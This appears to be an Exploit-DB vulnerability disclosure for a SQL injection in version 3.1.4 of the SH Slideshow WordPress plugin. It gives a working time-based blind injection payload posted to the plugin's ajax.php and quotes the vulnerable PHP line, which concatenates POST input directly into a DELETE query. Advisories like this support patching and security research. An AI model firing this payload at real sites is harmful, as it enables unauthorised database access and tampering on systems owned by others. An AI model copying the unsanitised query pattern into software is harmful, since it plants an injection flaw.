[] NeoSense

WordPress Plugin SH Slideshow 3.1.4 - SQL Injection

Author: Miroslav Stampar
type: webapps
platform: php
port: 
date_added: 2011-08-29 
date_updated: 2011-08-31 
verified: 1 
codes: OSVDB-74813 
tags: WordPress Plugin
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comsh-slideshow.3.1.4.zip

# Exploit Title: WordPress SH Slideshow plugin <= 3.1.4 SQL Injection Vulnerability
# Date: 2011-08-29
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/sh-slideshow.3.1.4.zip
# Version: 3.1.4 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/sh-slideshow/ajax.php
 id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
$result = $wpdb->query('delete from sh_slides where id = '.$_POST['id']);